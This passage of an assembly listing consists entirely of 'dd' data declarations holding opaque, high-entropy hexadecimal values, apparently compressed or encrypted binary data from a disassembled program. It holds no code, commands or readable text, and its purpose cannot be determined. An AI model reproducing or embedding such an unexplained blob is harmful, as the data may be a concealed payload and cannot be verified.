		dd 0BE53BB07h, 0C1079A5Ah, 38F85DC0h, 8D4F0076h, 8E889722h
		dd 890096A3h, 0AE166B4Bh, 0C0837F5Eh, 676255F6h, 37003530h
		dd 1159D85Ah, 46A7DEh, 429321E8h, 0A90E2ACFh, 803D6938h
		dd 9213D552h, 1621AED4h, 4897FBh, 23515464h, 0B600849Ch
		dd 0A4037598h, 1C8CACEFh, 24976109h, 353E3E3Ch,	4E4C800h
		dd 0B1515B50h, 90427900h, 7E2EC6B5h, 0EA7F0E3Ah, 5A0FE33h
		dd 0D5E6140Eh, 3D2A9300h, 0EBF7CCB5h, 7B200074h, 0B165C611h
		dd 8F7DC86Ch, 0E95A3A00h, 2F50D38Bh, 0FAF00009h, 0E70563C5h
		dd 7000A0CEh, 87E9D24Fh, 198623h, 8A263FC0h, 4BD101EDh
		dd 46AFC605h, 12C03E13h, 0F44ECF3h, 0F2E7931h, 5D4C0172h
		dd 6054CD4Ch, 0BAE0993Ah, 80846D2Fh, 0CBD849DBh, 28AB48C0h
		dd 0C0DB8D1Eh, 0BCB4BA18h, 0DF00792Dh, 0B8ED97BDh, 7B19899Ch
		dd 0DE660E61h, 0C0DD1047h, 0C0657499h, 8A494D43h, 0B5440030h
		dd 6E068CA6h, 98740AD9h, 9C0EBDFh, 2827A31Fh, 8D728059h
		dd 6AEEE9BBh, 1B4023Bh,	81857136h, 0A7ED4149h, 703FC0h
		dd 585E87B1h, 0DFFB0EEh, 0D89BE200h, 699CA16Fh,	312F00F6h
		dd 0AF24B8C1h, 1C07A943h, 0FF1BF5C9h, 0EDE67300h, 94680022h
		dd 0A4572D14h, 74002C3Ah, 69D9AF33h, 7BD46CF5h,	3ECE451h
		dd 6E1241BCh, 0AEB0D616h, 0A702C95Bh, 91DDFB9h,	0C545C08Dh
		dd 49D1EB0h, 7585C0DDh,	5317FC45h, 889CC00h, 0CEB550E1h
		dd 0FB2C00B3h, 1A1CD42Eh, 0A4245C77h, 0F6011501h, 0D0C1A0F5h
		dd 92309F71h, 323402F4h, 83D1A168h, 0F97CEEE0h,	0A9D69900h
		dd 507954CCh, 0AEB61FACh, 0C27240ABh, 915A7532h, 0CB5D2100h
		dd 0B6ED73BAh, 0B73000ACh, 6B4F4ED9h, 8401D834h, 0B846B11Bh
		dd 87F4F578h, 0EF6D39BEh, 4E682801h, 20FFDED6h,	700015D8h
		dd 33E7F5B2h, 830885h, 0BED8C58Bh, 94B5F8ECh, 3995F300h
		dd 0A0EA9E93h, 0EE7D01B1h, 805A8AD0h, 7A29E851h, 9DF33417h
		dd 8C363403h, 5A46E01Ah, 7C1000CDh, 0E7746AD2h,	609A6FF2h
		dd 9E685E0Fh, 0DC45E036h, 5C0ABF34h, 0E10F3169h, 68C0972Ch
		dd 2A448415h, 0F5E89F00h, 0D8D5864Ah, 8E022C50h, 3D4000F2h
		dd 660D1277h, 0B273F900h, 74191F3h, 0BDA60035h,	16219D92h
		dd 0D0E6E4BAh, 5B4D7F00h, 0F9AFD9F1h, 0CB9201BFh, 9F88A46Ah
		dd 0A0208015h, 239AFE51h, 977127h, 0E1EA01B6h, 0AF12292Bh
		dd 9E7F0F05h, 0E003DA21h, 1624D311h, 0F550B1h, 0BD1663FCh
		dd 42003C9Eh, 0C6B37FD4h, 4A7456h, 945D6D7Dh, 85ECF445h
		dd 0B7E31700h, 0AB444667h, 2E5000EDh, 62F50656h, 0C00C616h
		dd 79DFDC3Bh, 0BDE731h,	0C50AD63Ch, 8C454998h, 7265AD00h
		dd 0FFF72999h, 0E16B036Fh, 0F6C9E782h, 0D9C52788h, 690D500h
		dd 3E70FF36h, 0E41100DFh, 0CA28D35Ah, 0FE71013Ah, 44ECFD50h
		dd 55B7CB00h, 0B03615E4h, 0CADB00E8h, 192AA828h, 70E08E2Fh
		dd 4041AA00h, 0D19C4A8Ah, 9EB63F34h, 5835F180h,	2397F65Fh
		dd 44BD4500h, 32392A9Dh, 0D3CD00B1h, 1A59F8AAh,	78038C0Ch
		dd 1446BB20h, 0E6D4887Bh, 4DE53099h, 64B5182Ch,	0FB7EFA0Eh
		dd 2145A006h, 383A6D0h,	582623DFh, 60A8028Dh, 5BFE796Bh
		dd 5EF64C03h, 91EC841Ch, 31E0214Dh, 0FA675C7Bh,	2235A801h
		dd 2026B1C3h, 0CCE57F77h, 43036A2Bh, 0B0AB7D94h, 7033F8EEh
		dd 0B6FE3E88h, 39CC780h, 1B250A1Ch, 511E9200h, 0D74CD3F6h
		dd 71F58A8h, 40944E1Ch,	6ECA2C75h, 3A1C92ECh, 9E8B9B58h
		dd 5B00D5A8h, 898AE24Eh, 327F7301h, 471B69F5h, 731126CCh
		dd 79B770B8h, 958B00E6h, 258DA05Fh, 143ACCFBh, 452713C9h
		dd 66CA8600h, 409C09h, 0E2ECE86Bh, 0E1AF7F30h, 491B5106h
		dd 0B9AD5ADh, 0EF2A02CAh, 0D2147C80h, 0B6CEB56Dh, 0E5AEF3h
		dd 27A9D4B2h, 0CCAC48CFh, 26902Eh, 0F0122CDEh, 4C038D24h
		dd 40F3B189h, 418E90D6h, 38AB0016h, 0B0D8ECA6h,	23170178h
		dd 1F0FBE9Dh, 2DC1623Ch, 8323C08Eh, 778A1F81h, 3119624h
		dd 1F6E902Fh, 1A200DF8h, 2057862Eh, 54DF6A40h, 6F370032h
		dd 79CC61DAh, 0C400121Ah, 5966292h, 2E0F3CD3h, 48441Dh
		dd 5C5DB79Eh, 7A00139Ch, 16B4F943h, 86A4ADh, 550AB0E0h
		dd 61F1E874h, 39672912h, 0D9655900h, 0EC1CA47h,	5F5735F3h
		dd 0AA69E1C1h, 2D6AE071h, 0DFB13707h, 28900421h, 0D42618h
		dd 0C296B3A7h, 0D23E3CFCh, 4B9AB000h, 0B862697Eh, 31C0707h
		dd 0AB6AE628h, 0A472E080h, 6C096B51h, 0D78A8CDEh, 1F4D9580h
		dd 1C013F6Dh, 0E5DCED71h, 0B8FBD796h, 0CFEC47h,	6BA5D1B1h
		dd 0D4C595CDh, 17B8F00h, 6D64D20Ah, 54DC005Ch, 0D74AB169h
		dd 1600D33Bh, 0CEE39F86h, 0FA5B1F0Bh, 0B4F601D4h, 2278F70Ch
		dd 4E2FFCC1h, 0C4AB0809h, 0F9BC132Eh, 0E8CBB445h, 0E618C1h
		dd 3513AAA2h, 580882E0h, 0C01A5EEh, 3B116CFDh, 3ED07064h
		dd 3B6BE0EFh, 9F0040C8h, 0E8661D94h, 2900BA9Ah,	0FF4F8B79h
		dd 9EA5D2h, 91A041FCh, 0B8B3EB6Ah, 0ACF8C0A3h, 0FA00C24Dh
		dd 0A92C6C03h, 78C03970h, 5AA11D08h, 0BCCC40B0h, 0F3F710ABh
		dd 41405B00h, 8334393Eh, 25DD1ED6h, 0BA7EC0CEh,	4DDCE78Fh
		dd 58B1951Fh, 8AC0E91Ch, 9A93A40h, 2A37DB3h, 0AC6B9BBBh
		dd 78C0F769h, 68289138h, 2A00802Ch, 54A0DC33h, 1C673B88h
		dd 0EAC89DFEh, 7C9371B4h, 0A860035h, 7DD14591h,	1062470h
		dd 95A4D609h, 0E2C20060h, 0F30AF13Ch, 249064EFh, 5FC104Ch
		dd 36A5F094h, 0DBE064C7h, 1FFDDEBh, 5554F945h, 0C0592CB8h
		dd 3300BC3Eh, 52576D4Bh, 5D0EF5h, 2CF46736h, 5FEF1810h
		dd 2B883401h, 0A18155BAh, 47AAECh, 0FCDE24FDh, 0D5F6663Fh
		dd 190B4807h, 0F450515Ah, 5C21B99Ah, 6F27B045h,	85052080h
		dd 0B46142DEh, 6EAB1F19h, 487FD40h, 470500E5h, 45C9C3CCh
		dd 71047470h, 7F01A293h, 5DBC00A3h, 7DAF008Ch, 1C970F8Bh
		dd 0C000B7F0h, 31384288h, 1A9F7Ah, 116B6E1Dh, 0C1F98CEAh
		dd 0C52C1400h, 87C7D55Fh, 15B4A01Fh, 0B2C000ACh, 0D743D2A3h
		dd 50EF582h, 0E09D46BCh, 7CC99089h, 0A580032Eh,	95DBE3DEh
		dd 0DFA034ABh, 671D6244h, 0C1805DADh, 105AD785h, 18EA41h
		dd 0C8160C19h, 0EFB2CCF7h, 80EB51Dh, 0BCC29300h, 306D2976h
		dd 643E144Ch, 653E6E66h, 21A613F4h, 7549EB00h, 9C601F9h
		dd 67275687h, 935F28E0h, 285E7800h, 105B6B0Eh, 0AA6350B9h
		dd 5884FB7h, 0AA56D34Ch, 149B8080h, 1D876BCh, 90F0697Ah
		dd 60119D7Eh, 43009570h, 0D37993F8h, 0DB6B8Fh, 81165923h
		dd 571FEB87h, 0CC1A4C00h, 99D6F7E1h, 20950271h,	299E47F1h
		dd 4D80A480h, 0DC054A5Ch, 0E2711A66h, 0E016240Fh, 339520FBh
		dd 13491F18h, 0C1B39FE6h, 0BB83DFE5h, 0E998FF98h, 0DD0555DCh
		dd 0B7666EB8h, 7FBDD0C0h, 724300E1h, 0C8A2874Ah, 25EC52B4h
		dd 503D4500h, 0FFEA04ABh, 192E65Eh, 1CCB81A8h, 2046D5A0h
		dd 4B48D898h, 0C7747640h, 0E07D3FB0h, 80DF3800h, 72DE5BAAh
		dd 49B200E5h, 7DEF9468h, 0F000D98Eh, 26E00F44h,	17432ADh
		dd 9472F84Fh, 0D038A21Ch
		dd 0DD4CCA89h, 0C85E1288h, 0DC0911Eh, 2EB73EC5h, 6A4A0F9Fh
		dd 9280E9C0h, 0C7F7F548h, 0CE14BA00h, 251F391Eh, 0EAE37E3Dh
		dd 431D00FBh, 6F3EF683h, 0F0021C6h, 35345C7h, 1CAD6317h
		dd 0C0FBCB37h, 728E3A3Fh, 5A1C4174h, 3EBF38h, 0C279CFEBh
		dd 0E4BD9517h, 599612A9h, 810A1EC8h, 4D5F48B2h,	0F058313Ah
		dd 6200FD03h, 0F8F24452h, 1B5B0DCAh, 203687A2h,	0E701EBD8h
		dd 82F13500h, 0FFD7D956h, 4C9800C6h, 0B38793A2h, 7D01F949h
		dd 5D02173Dh, 0DDC0FA88h, 24C000DAh, 5E10A921h,	649859FEh
		dd 2B0054EEh, 62D95DFDh, 135BF66h, 0E4E39A7h, 0EF268897h
		dd 0A2F1A8B8h, 0CB80F26h, 0C5A11381h, 3C3CB94Eh, 53449200h
		dd 181534A9h, 6B506800h, 25AF78F4h, 161B07B4h, 72172BA7h
		dd 30481360h, 730072FDh, 0FF2390BCh, 9C20F1h, 0AC30FC59h
		dd 0B634D0D8h, 58CAFD2Eh, 0A2ADE901h, 8CD93A32h, 999D30h
		dd 0E1C46FF3h, 9D68AE94h, 3900DB72h, 37761019h,	0AAA804h
		dd 87626D5Eh, 300C367Ah, 0CD1A6702h, 51FDF63Bh,	81FA1FDCh
		dd 92C5840Eh, 3F6030E5h, 654F7604h, 6CC06072h, 0BEF0D95h
		dd 0BCEE66D8h, 7F4E0200h, 620ACAC9h, 0F8F2BD9Ch, 0FC6F9B07h
		dd 2C118970h, 8FC6003Ah, 86D452B5h, 58E81B96h, 2BF88C00h
		dd 5AB4A106h, 0E6D50E12h, 80DCB00Dh, 0D9E35183h, 0C21F7B7Eh
		dd 3EC72C3Ah, 0CAD07229h, 1F7F6h, 0C58EA36Ch, 304865Ah
		dd 52340901h, 83908D15h, 4711D840h, 0C2D0F5Ch, 6C40D1B7h
		dd 174A4652h, 0E4947526h, 0F6FD0681h, 23D0D5FCh, 8D4B07A1h
		dd 52D34302h, 0E0815BEFh, 383729D4h, 80E53CC0h,	51772EA9h
		dd 2292D1h, 7935E248h, 2154E420h, 5614C303h, 0A05A4697h
		dd 48F16A4Dh, 75382AF3h, 4300413Fh, 968C5BE6h, 3913085Ah
		dd 280122DFh, 76AF1565h, 0B121D865h, 0D13FD100h, 107955h
		dd 4689D654h, 5A7C0AF3h, 0F9960100h, 0E165C480h, 69510B72h
		dd 0B8836070h, 0BFA8DF4Ah, 500DCFCh, 816717FDh,	375C70Bh
		dd 43C849Fh, 3DB8B6C1h,	3803EA2Ch, 3FF8414Ch, 722EB8E6h
		dd 0FA81909Dh, 260A77E9h, 19806CCBh, 0D0917044h, 0CFEE840Bh
		dd 0BD238300h, 0E84F752Dh, 0D556073Dh, 0B0827E7Ah, 0B78E9AD2h
		dd 0F11C7000h, 0B34F4A68h, 0D66A1D9Ch, 0BD47418Ah, 0C4CA29FFh
		dd 4492D40Bh, 2100FAFEh, 5FA21FE8h, 98923F76h, 0B9030078h
		dd 0E6456B69h, 610285B8h, 533CD88Ah, 0C87E63DAh, 8DDFD6h
		dd 92A45DA8h, 3FE8D7B1h, 46C84000h, 0CB2686F8h,	0F8BF777Eh
		dd 426D1C92h, 4C970064h, 76A0BC24h, 89930304h, 98D208DEh
		dd 71C7874h, 0B8202C5Bh, 65BCE0DBh, 9E008867h, 2379A3EAh
		dd 24138E76h, 0EC5269h,	7EF4C5F1h, 0E1002DBEh, 0C9C69899h
		dd 9EA05Ah, 8F094EFDh, 725EE238h, 0DD07B1FAh, 0F9D1F8CDh
		dd 0F4F55090h, 0E9BD39C9h, 0ED461400h, 849B01Ah, 1B4CDAF6h
		dd 7BD04C6Ch, 55577E00h, 5ABD1488h, 4B321E99h, 41930958h
		dd 2973C100h, 0E91E2661h, 77DEA71h, 0E521CABDh,	0DB874500h
		dd 0FF3E0074h, 1A33E658h, 0E005EADh, 75AB3B60h,	89922Fh
		dd 68D13873h, 0F7D33A74h, 3DEE141Dh, 923B8CC1h,	0AC30FFAFh
		dd 0CF3E006Dh, 0F5F38E61h, 0C50BBE3Ah, 80B31999h, 451C7AB2h
		dd 3498A9h, 0C606D5F8h,	999D5D40h, 0F321A400h, 0A1D0A8B5h
		dd 0F710072Fh, 0E0DE62D4h, 9899B87h, 467AB20Eh,	0FD332068h
		dd 246EDC6Ch, 407C3F4Bh, 22F809FFh, 9D79A700h, 64258A20h
		dd 36E600BCh, 0D59575A9h, 68001CDAh, 6642EC6Dh,	10560Dh
		dd 0E162A639h, 0DE1E3397h, 7700A57Dh, 61A81BC9h, 17FA2784h
		dd 201101F2h, 28782ED8h, 0B000CDF2h, 7A055E57h,	0DF5C06h
		dd 9D4026CAh, 6D64E38Ch, 501D5900h, 838B07F6h, 9244766Bh
		dd 2E490B68h, 0F4009622h, 314B76D7h, 26012F7Ch,	0C4C658C1h
		dd 0FC788A9Bh, 0DA918300h, 0B167F7CCh, 0BC3FA400h, 60ACE911h
		dd 315D0290h, 0EDC13748h, 661E04C8h, 9D13F001h,	12AB7BF8h
		dd 9E4460CAh, 0C83A3CA1h, 55B96900h, 3B91C780h,	151A1F00h
		dd 92C17D88h, 0C8FB0039h, 44DAA6E8h, 0D53F1920h, 0DF999326h
		dd 0E0F4240Eh, 8D981CF8h, 918C0986h, 76002EE9h,	9F8111B0h
		dd 9C789E01h, 0C2A57407h, 0BC53C0h, 0D07A7B1Ch,	20E8FBF6h
		dd 0A9D9F705h, 0E4143E80h, 606F0048h, 9B29BE81h, 62E237h
		dd 3D2EB696h, 0F06BA80h, 150DE5Ch, 17745308h, 0DC44C5Dh
		dd 0C3C600BDh, 346D59DCh, 38009833h, 5176110Ah,	1EBE9110h
		dd 88B8C4h, 2F86265Ah, 0B617837Fh, 2003B4DBh, 0E871E409h
		dd 6148413h, 0D219CF5Ch, 400621AFh, 0C5F3A3A5h,	7E1E3F60h
		dd 0C42E9400h, 0B55D532Fh, 5C32AE1Ch, 884F20C3h, 0B01AC32Ah
		dd 1756AF62h, 45A337Dh,	0C00D8EB0h, 12613970h, 6C86C800h
		dd 0B49416FEh, 0F0C600FBh, 0F6B71D76h, 0ED01E499h, 0A28544DEh
		dd 0F3D0AAB5h, 0BDEA012Dh, 0ADB7040Bh, 51B0D884h, 341298E4h
		dd 2E1D46BCh, 0C825BF80h, 0EB8FE5Ah, 24FD2CAh, 40050B20h
		dd 860485E6h, 7360B93Fh, 1D130887h, 0A98CE0DEh,	97B02CBh
		dd 0DD392D35h, 0E963C981h, 0F328806Ch, 8A3F2F8Bh, 72900ACh
		dd 0B28E1631h, 6400B8F2h, 736B470Fh, 588F2AC4h,	72004C3Fh
		dd 0CACDDE17h, 234CA2CBh, 30BA83E8h, 4FB200AFh,	1D51C5FCh
		dd 223C2312h, 32EC8168h, 448EB0D4h, 5F4F1D5h, 6F6C000Fh
		dd 0A538A3Ch, 4F07617Ah, 4D670C9h, 2A113BD0h, 0DB5E5167h
		dd 393078F6h, 78070D10h, 4031173Ch, 0AFFFC153h,	3A004FE6h
		dd 8E527D64h, 2415A15Fh, 8F8DE4h, 0F5780DD2h, 8800FBCCh
		dd 6AE0EE95h, 0A9DB69h,	9CCB7DBBh, 5263302Bh, 11D1800h
		dd 6B28AE81h, 0EE3F22Fh, 486AC716h, 0AC4F1240h,	0F50014FCh
		dd 1A4D991Eh, 0B9049377h, 0A6F7002Ch, 206C35A7h, 5F829D00h
		dd 26CFB9EBh, 0BF1D3C7Ah, 0CD21DD80h, 8FBAFB1Bh, 0DC60E1Ch
		dd 0D5DC817Fh, 6138111Eh, 8165D4h, 0BFCA0B2h, 0A916123Bh
		dd 1DECCE4Ah, 36BC4100h, 65E672CAh, 0FA675F00h,	0E2C06281h
		dd 9F6602A4h, 110620D1h, 0FCB86E0h, 0DE821728h,	4D746700h
		dd 8159A73Dh, 997D00FAh, 8FA1DEF2h, 3900C7C2h, 3E95377Ah
		dd 12FCF67h, 0AA9FDF8Ch, 0DD1271D6h, 0A634CC8Bh, 0D111D900h
		dd 80199A8h, 797C0C56h,	74647884h, 0FEE3E200h, 0DE7B9F61h
		dd 2F88C18Fh, 0F9664D04h, 0C3E3F85Dh, 0F7E06A1Dh, 0BD1C6664h
		dd 51490540h, 0CE1709h,	94EE8174h, 0B9ED0EF7h, 0EAB70A03h
		dd 0E8E167D8h, 9066A3E5h, 154E292h, 0F7C71524h,	300FCD8Dh
		dd 0DF00F4DBh, 134576F9h, 5C0ED84Eh, 500F25C8h,	9E205AEAh
		dd 4065B11Fh, 0B910C300h, 0DEEC6E08h, 3C3500DCh, 0F8990247h
		dd 0FF00F563h, 7F4C868Ah, 32DE36h, 0E9958EACh, 57D597D8h
		dd 0EEFB7500h, 0BC14D4D9h, 41180048h, 716DB58Ch, 7C7B1DDCh
		dd 70E59900h, 6875A674h, 0DE853BC0h, 0B93C5080h, 5DD77177h
		dd 8FF02E00h, 998DDC5h,	0ADDF0F68h, 0EBE0A69Ah,	7CF57E07h
		dd 4612CB03h, 1CBDFFF1h, 805F0572h, 9BEF8562h, 7700DF47h
		dd 0F91C9325h, 0A0CDBD57h, 3D15CAh, 8BDA4BAFh, 527F2A9h
		dd 0D1250400h, 2DB68CCBh, 9A3638BBh, 68DA5809h,	5E142E83h
		dd 0D8239DC9h, 0A007CCFh, 94F5168Ah, 66B7EAh, 6830E75h
		dd 0FC150D9h, 8F59B13Bh, 0C01211DBh, 0EBE34B21h, 853C003Bh
		dd 4A1038C3h, 0A9481D8Ah, 0D64E00D7h, 91B0ED6Ah, 587600D4h
		dd 8C807F5h, 6E00E244h
		dd 54D1D62h, 19976DBCh,	0CCC535E9h, 8C804056h, 0F800A9A8h
		dd 0F74205AFh, 0E0B7E42Ah, 0FC980030h, 447FB93Ah, 0E2007767h
		dd 4AFEC713h, 0C87076Eh, 4EB8BBF1h, 3D1D678Ah, 3283EE2Ch
		dd 0C0365D11h, 387FAEFh, 0ADA74E77h, 3BA0750Bh,	0E4008823h
		dd 3D0403F5h, 98C62127h, 0F2CC0009h, 2C709A5Bh,	7200682Ah
		dd 0B1919246h, 3B5A86D3h, 0E0F8958Fh, 736C0071h, 0E1D885D4h
		dd 0F3018B16h, 8D619DAAh, 0BFCE27Ch, 0B0073D5Ah, 103B0680h
		dd 904D1441h, 7EE01112h, 5D8F00FBh, 0AB5C5E3h, 3C36DC1Eh
		dd 27D7EEC0h, 781EFA6Dh, 633F0048h, 0F601C719h,	1B0099A3h
		dd 44CF5037h, 983CABh, 0B0F37B78h, 67D15F23h, 0D8AC621Dh
		dd 64808Bh, 774DE4BCh, 68BE0042h, 9A4A239Fh, 4100A201h
		dd 76CB3E52h, 0FCF251B9h, 0F1D51C68h, 2C81C14Bh, 0C8294792h
		dd 0CF00A2AAh, 9F2FE7B0h, 36CCA6h, 0BE4E42C1h, 0FC84DC70h
		dd 2A71A900h, 7BFA0B2Bh, 7A550072h, 6CA3C3E9h, 1B005214h
		dd 0F0F5FE71h, 1E98D480h, 0C01EF461h, 1FDD0423h, 0F91C899Ah
		dd 5880C2FDh, 66E42825h, 8AE004Bh, 8EDF755Fh, 0CC075CFFh
		dd 58B5AFECh, 0CD7B4680h, 4ECF0024h, 0DE27653Ah, 1FE6853h
		dd 0A5003673h, 0BB582218h, 6C2BDAh, 0C7B12079h,	9EDBA37Ah
		dd 308F6307h, 0E8E14BB0h, 0FAF0B625h, 6BB040h, 0A9190A1Dh
		dd 7595739Eh, 7C44F103h, 0D8AA91D4h, 0C911D7h, 8718B3B1h
		dd 353E2B16h, 94EB0A00h, 0B78B7C42h, 0A1BC01F3h, 396C46AEh
		dd 0E8E3FD55h, 5D008DCEh, 0BA37579h, 7BF030h, 3319BF11h
		dd 72F4D2CBh, 0F657C203h, 0B0E01E0Ch, 1A38916h,	9371F588h
		dd 0ECE81509h, 8C7A8D23h, 9BB49E00h, 0FC768587h, 49CA0F0Eh
		dd 97A090A2h, 488C6F83h, 7C47F700h, 0AE373559h,	0CE9F1F21h
		dd 754A8365h, 7B0B44Dh,	7E1C1725h, 0AB00A505h, 5143A4EBh
		dd 44F600E1h, 6E038EC2h, 0FB1DF765h, 7001F8DBh,	0FFA58BADh
		dd 3F6BF8h, 17EABCF1h, 0F4073DE9h, 7523E300h, 9966647Eh
		dd 1CFE1DFDh, 0BA8B4059h, 0C7866B0Fh, 0B2B038h,	8440BDB4h
		dd 0FE56AACh, 7A3F071Dh, 227BF6A0h, 0EB7E9005h,	4B802700h
		dd 6FA8E7DDh, 5E8C0008h, 0DBE11270h, 9000A747h,	0F5423BCh
		dd 320588h, 0BBADA381h,	0A4C1288Eh, 20004BB8h, 0E4313AE9h
		dd 458FCh, 916BCC0Bh, 0D9466171h, 0C281B03h, 9838219Fh
		dd 1EDA0C2h, 0F4DFBF9Dh, 8524D2D4h, 3CF53D60h, 0B7490C0h
		dd 6FD12C10h, 0CBD80B18h, 5B2983D5h, 0D5DE1EE6h, 0FF220082h
		dd 5210E451h, 0DB04EB00h, 7EE597A3h, 0E2F0FBE0h, 4E710E24h
		dd 0E8806FD3h, 60A4107Ch, 3F54B000h, 75877693h,	4C6907D1h
		dd 40DCDB43h, 6738B919h, 0E1791800h, 565B6124h,	0DD893CE4h
		dd 0F13CF800h, 96C1F42h, 0AE78FFFEh, 0CFD94A1Fh, 7AF80D40h
		dd 3BD7EE6h, 9931CC97h,	28001258h, 1E5F36E0h, 84DD92h
		dd 2CD1F3D7h, 961CE946h, 0F171D02h, 80806824h, 5C0BA06Ch
		dd 97ED005Fh, 41FE2118h, 0A10FA54Bh, 407C9805h,	0B24780BAh
		dd 4F2E00D2h, 0CD5769CFh, 0D100CB8Ah, 4B9385Bh,	0B05620E5h
		dd 4BCF0094h, 0CCBB018Bh, 0E400595Ah, 0EFE56B4Fh, 7C5062C3h
		dd 0FAEAF9h, 0B6BFE39Eh, 1A8BC1A9h, 7F542100h, 0BC703815h
		dd 90D600D0h, 4089DA06h, 0D3C634Dh, 0EA579F12h,	0E438F800h
		dd 0E92018Ch, 1E49E98Bh, 0EF7BA400h, 0E105BFB8h, 0B28C42A2h
		dd 0FE18A900h, 59F988h,	0B2AF49Bh, 6BB554E6h, 0EC2474E2h
		dd 2B940CB8h, 1EE800C8h, 0A1EA6CDEh, 254B00C5h,	94A778F0h
		dd 3C016551h, 0EEAE2461h, 0BC216B9Dh, 0B03D97ECh, 30DA1F8Ah
		dd 0F6A68077h, 0C654403Ch, 0D311B50Fh, 0C50AE0CAh, 0B2F9F26h
		dd 72DF8318h, 9E544700h, 1201FCB8h, 0ACE1C496h,	0B9D46F9Ah
		dd 19BB017Bh, 0ECEA93D0h, 0A9908040h, 8ACA18D4h, 2E37EAB7h
		dd 2117FC4Bh, 0DC1A0FECh, 40A8AD20h, 81609764h,	9ADFA9D8h
		dd 52630C6Bh, 8F1BFDDh,	25322100h, 8BFCD30Fh, 0C08903Fh
		dd 1CF31E8Ch, 78289960h, 14102C54h, 3B10E3B9h, 0BE16827Dh
		dd 58A09CBh, 8E583028h,	0D6081D2Eh, 41406FFCh, 2DD7E1Fh
		dd 0BA3418F4h, 642DFC04h, 1220CC7Fh, 57806594h,	0B2FE445Eh
		dd 211F0E20h, 0D30C8AE3h, 4210B1BFh, 677C0818h,	6DA308A5h
		dd 626FC641h, 41653301h, 84584A2Ch, 240947B1h, 180D1349h
		dd 0B0A0DE58h, 6093CAEh, 0E650D060h, 4CE3FF21h,	8400A8A3h
		dd 4EACF25Eh, 7C5017B2h, 4002EDB1h, 0FDFC6CFAh,	0AD9480BAh
		dd 3CB726ABh, 80E029C9h, 8B8FE634h, 18607EECh, 6230E770h
		dd 1A6C005Ah, 0ADE4FA48h, 950F60C1h, 96911556h,	7218E302h
		dd 0DA880F4h, 0A19B8Eh,	0ACBD8122h, 8A7BCA5Dh, 0CF3F20h
		dd 4E6B951Fh, 0CD351633h, 0E457C700h, 0BAEAA6FBh, 0D5061E05h
		dd 0C0507F7Ch, 806D0C8Fh, 4CAE4DF7h, 6476B201h,	501728E3h
		dd 0FD54802Eh, 0C0A19368h, 8EF2CCABh, 37D00503h, 0B00742C0h
		dd 1629666h, 0D5553D1Ah, 5040B90Ah, 6C63CCACh, 0FA7B6400h
		dd 0CBA42B79h, 692F3119h, 604CE221h, 0C2018CABh, 1B9FC991h
		dd 2040F06Ah, 34ACE2h, 7D646F74h, 0F443AE8Fh, 0D0C9A73Eh
		dd 4B0081A8h, 1D18AC06h, 0B0148C4h, 12E64AEAh, 1504CF80h
		dd 0DF00C033h, 135329A0h, 7CD440E0h, 49CEF292h,	62704CF2h
		dd 0EBD3713Fh, 0DF00DD56h, 8BDEFD37h, 4840E5AFh, 3B70F55Fh
		dd 0EA804D55h, 0C8E146BFh, 0C6008712h, 0E211596Dh, 7E61872h
		dd 0E7025195h, 0AE4AE104h, 98C034B1h, 30AB6B24h, 8CC598B9h
		dd 0CD8A18h, 5F69D38Fh,	98F7B06Ch, 2A5E8907h, 0E9A09F79h
		dd 1B8C8Ah, 7B44962Dh, 9CC0C531h, 0E5671D0Fh, 35C38019h
		dd 7D3A1ADh, 0F48C9D41h, 0D8B6503Dh, 510A9C70h,	9EA898BFh
		dd 0EA66AB01h, 0C0FB7FA9h, 0C3F63DAFh, 0B7BB0E98h, 74A71000h
		dd 0D7687106h, 6C6F06Eh, 0ADA55517h, 1A0038F0h,	0E4480A5Bh
		dd 74BBDFh, 0EB4696Ah, 0EC13A05Ah, 5F756000h, 99076259h
		dd 4A453D40h, 179E0600h, 0C1CAD619h, 0C950AD00h, 0CD1A330Ch
		dd 91B100C8h, 8D84B50Eh, 6901F061h, 7365FDB3h, 25DC2A31h
		dd 0E377137Eh, 172D00B6h, 1DAD09CEh, 6600A498h,	0C30735A6h
		dd 60CD67C5h, 29842004h, 0B200BD9Fh, 26E8FCA4h,	0CC943Ch
		dd 138E03AFh, 4A14F4FEh, 0CC37300h, 18E7F7E8h, 0E6793032h
		dd 0E08E6B40h, 20DAB800h, 0BFB917Bh, 5EE71D4Ch,	309AC343h
		dd 4E7193D6h, 9B5BDE00h, 0A1D7B09Eh, 94E62F52h,	0A50083FCh
		dd 2A07BD3h, 2BEA00FCh,	35652669h, 0CB00F862h, 9E123725h
		dd 0E2ADAC9h, 0EC0FE5F9h, 7004F4E7h, 0AA7C2653h, 0DAE6BF03h
		dd 808B5F96h, 0D5220Eh,	0D4EA0CADh, 8E27DE0h, 0B803CD01h
		dd 0E49CDFA7h, 5CCF9DE8h, 0B6007B2Bh, 280C472h,	0F2049F86h
		dd 653498C7h, 4FB4AB80h, 1417464h, 890F3623h, 0D4E2C7F3h
		dd 0B97C31E7h, 0BA9061F0h, 0BB00A5EEh, 0E388CE7Ah, 591432h
		dd 0DBAAB43Fh, 427CBDEBh, 0D0955700h, 804AD87Bh, 45D1005Ch
		dd 0E34EA6C0h, 0F17A02ACh, 7117F21Dh, 42517780h, 5919F4h
		dd 0EFB3DF32h, 0CE69BEDEh, 0F79FB100h, 824E204Bh, 0EAFE005Ch
		dd 76D15B0Ah, 400BB23h,	507880C1h, 1E5F2C7Dh, 0E7F641h
		dd 63898625h, 0AE00EFF2h, 0B4C79CBFh, 1F66D164h, 0F954FFh
		dd 0AA08493Ah, 29005C76h, 0F3A6D2C7h, 7D46EAh, 118D18F7h
		dd 591566D4h, 9FE1C600h, 6719F3A7h, 0D94950D9h,	0E750C078h
		dd 4F5136ABh, 6C15EB0Eh
		dd 1BD68054h, 31F985C2h, 0CE98327Ah, 3000D362h,	0A8A4FDBAh
		dd 93858Ch, 399617AAh, 0B8219425h, 0FB2C1B00h, 0C67688BAh
		dd 0E98C07CFh, 0F0A102A9h, 0C7E0FA42h, 94B34700h, 1D16C4F1h
		dd 256F852h, 7F43DC4Fh,	3EC03B1Ch, 120C892Ch, 18D5DB3Dh
		dd 80DE7488h, 0F974A8B7h, 0AF0F97EAh, 8613D958h, 20DB18h
		dd 60E27FA5h, 0E770F379h, 0FD37E1Eh, 52C013DEh,	0C5B85AEFh
		dd 0D9080235h, 1F7E6BDAh, 0FF510040h, 0B9C97900h, 0A6A0E5CAh
		dd 0E3D30734h, 7721F8CBh, 0D041D086h, 100494Eh,	0B0D33AEh
		dd 0D35F6Ah, 7CFF326Dh,	0BF6C9320h, 483A28C4h, 30346E00h
